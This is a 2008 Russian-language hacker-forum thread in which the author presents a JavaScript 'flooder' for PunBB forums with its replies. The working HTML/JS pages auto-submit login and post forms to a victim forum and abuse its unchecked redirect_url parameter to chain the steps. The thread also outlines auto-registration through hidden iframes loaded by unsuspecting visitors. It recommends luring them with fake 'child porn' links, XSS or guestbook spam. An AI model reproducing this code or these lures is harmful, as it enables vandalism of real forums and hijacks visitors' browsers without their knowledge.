Авторские статьи Сделай Сам : Флудер на Javascript.

Discussion in 'Статьи' started by vvs777, 5 Jun 2008.

  1. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    390
    Likes Received:
    204
    Reputations:
    4
    Сделай Сам : Флудер на Javascript.

    В этой небольшой статейке хочу показать, что нельзя недооценивать возможности Javascript как языка программирования
    (хотя по большому счету все написанное ниже - сплошной изврат).

    Дело было давно (хотя впрочем и не так уж давно, 2005 год), когда я еще не знал php, а надо было сделать западло.
    Был один форум на движке PunBB(http://www.punbb.org/), но к сожалению последней на тот момент версии (1.2.8), и все лаги, которые я нашел на секюритилабе были уже прикрыты.
    Происследовав его вдоль и поперек, ничего нового естественно не нашел, ломануть не удалось.
    Решил просто чуть нафлудить (а именно просто насрать:).

    Первым делом посмотрим на форму входа на форум.
    Code:
    <form id="login" method="post" action="">
    <input type="hidden" name="form_sent" value="1">
    <input type="hidden" name="redirect_url" value="http://subdomain.test1.ru/punBB/index.php">
    <input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username">
    <input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password">
    <input type="submit" name="login" value="Вход" tabindex="3">
    </form> 
    Вроде бы все в порядке. настораживает только поле redirect_url.
    Идем далее.
    форма создания нового поста/ответа на существующий. я создавал новые, но отлчие по сути в 3 буквах.
    Code:
    <form id="post" method="post" action="post.php?action=post&amp;fid=1">
    <input type="hidden" name="form_sent" value="1">
    <input type="hidden" name="form_user" value="USERNAME">
    <input type="text" name="req_subject" value="SUBJECT!" size="80" maxlength="70" tabindex="1">
    <textarea name="req_message" rows="20" cols="95" tabindex="2">
    Собсно тут текст сообщения.
    </textarea>
    <input type="checkbox" name="hide_smilies" value="1" tabindex="3">
    <input type="checkbox" name="subscribe" value="1" tabindex="4">
    <input type="submit" name="submit" value="Отправить" tabindex="5">
    </form>
    Как бы тоже все просто.

    Переходим от теории к практике.
    Описывать особо не буду, и так понятно.
    Code:
    <HTML>
    <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
    <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> 
    <form id="login" method="post" action="">
    <input type="hidden" name="form_sent" value="1">
    <input type="hidden" name="redirect_url" value="about:blank">
    <input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username">
    <input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password">
    <input type="submit" name="login" value="Вход" tabindex="3">
    </form> 
    
    <SCRIPT>
    <!--
    username='your_user';
    password='your_pass';
    //Адрес скрипта. Теоретически можно извлечь из window.location, но я этого тогда еще не умел.
    thisaddr='http://your_hack_site.pochta.ru/';
    //адрес форума-жертвы
    addr='your_punbbforum.ru';
    document.forms[0].action='http://'+addr+'/login.php?action=in';
    document.forms[0].redirect_url.value=thisaddr+'newtopic.htm?username='+username+'&addr='+addr;
    document.forms[0].req_username.value=username;
    document.forms[0].req_password.value=password;
    document.forms[0].submit();
    //на следующий шаг нас перешлет сам форум :-) (см. redirect_url) вот почему надо контроллировать поступающие данные на принадлежность своему хосту.
    //->
    </SCRIPT>
    </HTML>
    Данный код находится в файле login.htm, он заполняет форму, отправляет на форум, форум авторизирует юзера, шлет куку, перенаправляет на следующий этап.
    Теперь приведу newtopic.htm.
    Code:
    <html>
    <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
    <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> 
    <form id="post" method="post" action="post.php?action=post&amp;fid=1">
    //fid=1 кажись номер раздела форума или темы в нем соответственно
    <input type="hidden" name="form_sent" value="1">
    <input type="text" name="form_user" value="USERNAME">
    <input type="text" name="req_subject" value="xcc" size="80" maxlength="70" tabindex="1">
    <textarea name="req_message" rows="20" cols="95" tabindex="2">
    ___________________
    _____________Oooo__
    ____oooO____(___)__
    ___(___)_____)_/___
    ____\_(_____(_/____
    _____\_)___________
    </textarea>
    <input type="checkbox" name="hide_smilies" value="1" tabindex="3">
    <input type="checkbox" name="subscribe" value="1" tabindex="4">
    <input type="submit" name="submit" value="Отправить" tabindex="5">
    </form>
    
    <SCRIPT>
    //Эту функцию я откуда-то срисовал, просто незаменимая вещь.
    function Getparamvalue(search_string, param_name) {
    param_name=param_name+'=';
    var z='';
    if (search_string!='') {
    if (search_string.indexOf(param_name,0)!=-1) {
    var startpos=search_string.indexOf(param_name,0)+param_name.length;
    var endpos=search_string.indexOf('%26',startpos);
    if (endpos<=startpos) endpos=search_string.length;
    z=search_string.substring(startpos,endpos);
    }
    }
    return z;
    }
    
    function rand(num) {
    return Math.floor(Math.random() * num )+1;
    }
    
    var p=window.location.search;
    //newtopic.htm?username='+username+'&addr='+addr
    username=Getparamvalue(p,'username');
    addr=Getparamvalue(p,'addr');
    //аналог $_GET =)
    
    topics=new Array (4); //- кол-во возможных тем
    topics[00]= 'Админы-лохи';
    topics[01]= 'Скажем НЕТ!';
    topics[02]= 'идите на фиг!';
    topics[03]= 'Good lamer - dead lamer!';
    
    document.forms[0].action='http://'+addr+'/post.php?action=post&amp;fid=1'; //SMENIT!!!!! 6 !!!!!!
    document.forms[0].form_user.value=username;
    document.forms[0].req_subject.value=topics[rand(10)];
    //document.forms[0].req_message.value=''; //сюда можно аналогично рандомом менять сообщение
    document.forms[0].submit();
    </SCRIPT>
    </html>
    
    Итак, форум нас перенаправил, Javascript'ом забераем параметры, опять заполняем форму и отправляем сообщение.
    Мавр сделал свое дело, мавр может отдыхать.
    ну уж нет.

    Теперь посмотрим на форму регистрации на форуме.
    Code:
    <form id="register" method="post" action="register.php?action=register" onsubmit="...">
    <input type="hidden" name="form_sent" value="1" />
    <label><strong>Username</strong><br />
    <input type="text" name="req_username" size="25" maxlength="25" />
    <label class="conl"><strong>Password</strong><br />
    <input type="password" name="req_password1" size="16" maxlength="16" /><br /></label>
    <label class="conl"><strong>Confirm password</strong><br />
    <input type="password" name="req_password2" size="16" maxlength="16" /><br /></label>
    <label><strong>E-mail</strong><br />
    <input type="text" name="req_email1" size="50" maxlength="50" /><br /></label>
    <label>Timezone: For the forum to display times correctly you must select your local timezone.
    <select id="time_zone" name="timezone">
    	<option value="-12">-12</option>
    	...
    	<option value="14">+14</option>
    </select>
    <div class="rbox">
    <label><input type="radio" name="email_setting" value="0" />Display your e-mail address.<br /></label>
    <label><input type="radio" name="email_setting" value="1" checked="checked" />Hide your e-mail address but allow form e-mail.<br /></label>
    <label><input type="radio" name="email_setting" value="2" />Hide your e-mail address and disallow form e-mail.<br /></label>
    <label><input type="checkbox" name="save_pass" value="1" checked="checked" />Save username and password between visits.<br /></label>
    <input type="submit" name="register" value="Register" />
    </form>
    
    Вообщем тупо берем, заполняем поля и регаемся.
    Ни тебе капчи, ни проверки мыла...

    Теперь рассказываю, как выглядит картина маслом (весь код не привожу, информация к размышлению only)

    Есть страничка на бесплатном хостинге типа Народ или Почта.ру. На ней IFRAME.
    Надо заставить просмотреть ее наибольшее кол-во юзеров.
    Как это делать рассказывать не буду, скажу лишь что размещение на 2-3х популярных форумах ссылки из серии "свежее порево", "детское порно" и т.п дает не меньше 40 посетителей за тот же вечер, потом админы пост удалят.
    Возможны вариации на тему. Этот IFRAME можно вставить везде где есть xss.
    Вернемся к нашим баранам.
    По большому счету тут 2 пути.
    Или самому регаться раз в час и вовремя менять в скрипте логин и пароль, не парясь с регистрацией, либо уже делать капитально.
    Любой вышеперечисленный IFRAME ссылается на start.htm, где генерируется логин/пасс, производится в другом фрейме регистрация на форуме, затем (с учетом редиректа) по событию onLoad для внутреннего фрейма запускается процедура входа (через location.reload на другой файл или в том же другая функция, главное не запутаться).
    После входа на форум, юзер, получивший фрейм, получает куку с форума, генерируется тема, содержимое, выбирается случайный раздел/тема и отправляется сообщение.
    Если на странице, на которой юзер находится, разместить интересный текст, то есть смысл тут поставить цикл, т.е. отправка следующего соообщения.
    При этом можно добавить проверку содержимого из серии iframe1.innerText на предмет наличия "Ви в чорному списку (забанені)." после входа - надо "нажать" выход и регаться заново и т.п.

    Заключение паталогоанатома:
    Форумы и вообще веб-движки с отсутствием капчи, проверки по емейл и т.п., отсутствующей проверкой вводимого содержимого (redirect_url) и без проверки рефереров - классный полигон для испытаний.

    Мне честно облом было сейчас посмотреть на последнюю версию PunBB через 3 года после разработки данного изврата, но наверняка что-то из описанного мною еще работает.

    Если обеспечить нормальный поток посетителей страницы (а как я уже сказал, 40 человек за первые 2-3 часа это вполне реально) то можно прилично и неприлично загадить форум. Админ сутра приходит на работу и чистит, чистит... а пятки все прибывают...
    Статья и приведенный код предназначены для использования в образовательных целях, за последствия автор ответсттвенности не несет.

    (C) VVS777, 2008.
    Оригинал на http://vvs777.co.cc/main.phtml?punbb_js.htm
    зеркало
    http://vvs777.ho.com.ua/main.phtml?punbb_js.htm
     
    #1 vvs777, 5 Jun 2008
    Last edited: 4 Aug 2008
    1 person likes this.
  2. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    390
    Likes Received:
    204
    Reputations:
    4
    недавно ковирялся в некоторих движках и я вам скажу оно таки да еще работает
     
  3. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    199
    Likes Received:
    194
    Reputations:
    41
    Изврат. Js пашет на клиенте, а у меня диалап, что делать?) Php лучше: залил на серв и идешь пить кофе))
     
  4. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    390
    Likes Received:
    204
    Reputations:
    4
    знаю что изврат.
    у тебя диалап- не беда. завлекай клиентов на эту страницу спамом в гостевухах и форумах.

    Это конечно не призыв, но когда я не знал пхп я так стебался. Поверь, по 5 месаг от юзера, от 3 юзеров в случайных разделах форума в случайных темах - повод для админа задумаццо а не сильно ли он нас*ал кому-то в настроение =)
     
Loading...
Similar Threads - Сделай Флудер Javascript
  1. Vlad_[oK]
    Replies:
    11
    Views:
    4,820
  2. Fo)(a
    Replies:
    25
    Views:
    24,667
  3. AllenZ
    Replies:
    114
    Views:
    48,110
  4. inlanger

    Авторские статьи Пишем Sms флудер

    Replies:
    66
    Views:
    38,540